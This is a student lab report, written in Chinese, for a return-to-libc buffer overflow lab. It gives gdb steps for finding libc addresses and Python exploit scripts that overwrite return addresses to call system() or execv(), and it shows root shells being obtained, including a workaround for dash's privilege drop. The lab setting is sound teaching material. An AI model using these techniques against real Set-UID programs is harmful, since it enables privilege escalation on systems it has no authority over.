网络空间安全实验

Return-to-libc Attack Lab

57119126 傅寒青

Task 1: Finding out the Addresses of libc Functions

输入 make，对 retlib.c 文件进行编译，再将其程序设为 Set-UID 特权程序。

```
[07/15/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/15/21]seed@VM:~/.../Labsetup$
```

通过 gdb 调试获得 system 函数和 exit 函数的地址：

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
[07/15/21]seed@VM:~/.../Labsetup$
```

Task 2: Putting the shell string in the memory

新加入环境变量 MYSHELL：

```
[07/15/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[07/15/21]seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
[07/15/21]seed@VM:~/.../Labsetup$
```

编写代码如下：

```
Open  *prtenv.c
~/Desktop/Labs_20.04/Software Security/Return-to-Libc Attack Lab (32-bit)/Labsetup
#include <stdio.h>
#include <stdlib.h>
void main()
{
	char* shell = getenv("MYSHELL");
	if(shell)
		printf("%x\n",(unsigned int) shell);
}
```

编译运行，得到环境变量 MYSHELL 地址：

```
[07/15/21]seed@VM:~/.../Labsetup$ prtenv
ffffd412
```

在 retlib.c 文件的 main 函数中加入同样的上述代码，编译运行得到：

```
[07/15/21]seed@VM:~/.../Labsetup$ retlib
ffffd412
Address of input[] inside main():  0xffffcdb0
Input size: 0
Address of buffer[] inside bof():  0xffffcd80
Frame Pointer value inside bof():  0xffffcd98
```

这说明这两个程序的环境变量的地址一样。

Task 3: Launching the Attack

运行 retlib 程序，得到以下地址：

```
[07/15/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcdb0
Input size: 0
Address of buffer[] inside bof():  0xffffcd80
Frame Pointer value inside bof():  0xffffcd98
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

0xffffcd98 – 0xffffcd80 = 24，所以返回地址从 28 开始，exit 函数地址在 32，函数参数地址在 36。

再根据之前得到 system，exit 函数地址，以及环境变量 MYSHELL 地址，修改 exploit.py 如下：

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd412       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

编译运行 exploit/py，再执行 retlib 程序，得到结果如下：

```
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ retlib
ffffd412
Address of input[] inside main():  0xffffcdac
Input size: 300
Address of buffer[] inside bof():  0xffffcd70
Frame Pointer value inside bof():  0xffffcd88
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# 
```

成功获得 root 权限 shell，输入 id，可看到 euid=0，为 root。

Task 3 Attack variation 1:

修改 exploit.py 脚本如下：

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd412        # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

#Z = 32
#exit_addr = 0xf7e04f80      # The address of exit()
#content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

再次编译 python 脚本，执行 retlib 程序，结果如下：

```
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ retlib
ffffd412
Address of input[] inside main():  0xffffcdac
Input size: 300
Address of buffer[] inside bof():  0xffffcd70
Frame Pointer value inside bof():  0xffffcd88
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# 
```

攻击成功！成功获得 root 权限的 shell！

Task 3 Attack variation 2:

```
[07/15/21]seed@VM:~/.../Labsetup$ mv retlib newretlib
[07/15/21]seed@VM:~/.../Labsetup$ ls
badfile     Makefile    peda-session-retlib.txt  prtenv.c
exploit.py  newretlib   prtenv                   retlib.c
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ newretlib
ffffd40c
Address of input[] inside main():  0xffffcd9c
Input size: 300
Address of buffer[] inside bof():  0xffffcd60
Frame Pointer value inside bof():  0xffffcd78
zsh:1: command not found: h
[07/15/21]seed@VM:~/.../Labsetup$
```

将 retlib 的程序名改为 newretlib，再次进行攻击，攻击失败。

环境变量保存在程序的栈中，但在环境变量被压入栈之前，首先被压入栈中的是程序名称。因此，程序名称的长度将影响环境变量在内存中的位置。

Task 4: Defeat Shell's countermeasure

添加环境环境变量 MYBASH 和 MYP。

```
[07/15/21]seed@VM:~/.../Labsetup$ export MYBASH="/bin/bash"
[07/15/21]seed@VM:~/.../Labsetup$ export MYP="-p"
[07/15/21]seed@VM:~/.../Labsetup$
```

修改 prtenv.c 如下，重新进行编译：

```c
#include <stdio.h>
#include <stdlib.h>
void main()
{
        char* shell = getenv("MYBASH");
        if(shell)
                printf("%x\n", (unsigned int) shell);
        char* p = getenv("MYP");
        if(p)
                printf("%x\n", (unsigned int) p);
}
```

执行得到 MYBASH 和 MYP 的地址如下：

```
[07/15/21]seed@VM:~/.../Labsetup$ prtenv
ffffde66
ffffd463
```

再使用 gdb 调试得到 execv 函数地址如下：

```
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$
```

由实验手册可知，execv 函数的参数有两个，第一个为“/bin/bash”，第二个为 char 数组 argv 的指针。

修改 exploit.py 如下：

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

input_addr = 0xffffcd90
p_addr = 0xffffd463

X = 36
sh_addr = 0xffffde66        # The address of "/bin/bash"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
content[X+4:X+8] = (input_addr+100).to_bytes(4,byteorder='little')

content[100:104] = (sh_addr).to_bytes(4,byteorder='little')
content[104:108] = (p_addr).to_bytes(4,byteorder='little')
content[108:112] = (0x00000000).to_bytes(4,byteorder='little')


Y = 28
system_addr = 0xf7e994b0    # The address of execv()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

input_addr 为栈头的地址，p_addr 为 MYP 的地址，sh_addr 是 MYBASH 的地址，system_addr 为 execv 函数的地址，exit_addr 为 exit 函数的地址

100 到 112 位置构建了一个数组即 argv[0] = ”/bin/bash” argv[1] =” -p，argv[2] = NULL。

再在 X+4 位置即 40，填入 input_addr+100 即指向 argv 的指针地址。

编译执行 exploit.py，执行 retlib 程序，结果如下：

```
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcd90
Input size: 300
Address of buffer[] inside bof():  0xffffcd60
Frame Pointer value inside bof():  0xffffcd78
bash-5.0# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
bash-5.0# 
```

攻击成功！

实验总结

本次实验我了解到了 return to libc 攻击的原理以及攻击方法。

在 return-to-libc 攻击中，通过改变返回地址，攻击者能够使目标程序跳转到已经加载到内存的 libc 库中的函数。system()函数是一个好的选择。如果攻击者能够跳转到这个函数，使它执行 system(“/bin/sh”)，这将会产生一个 root shell。这个攻击最主要是找到 system()函数存放参数的位置，使得当进入到 system()函数之后，system()函数能够正确获取指令字符串参数。

当使用 dash,system()函数无法攻击成功时,可换用 execv()函数进行攻击。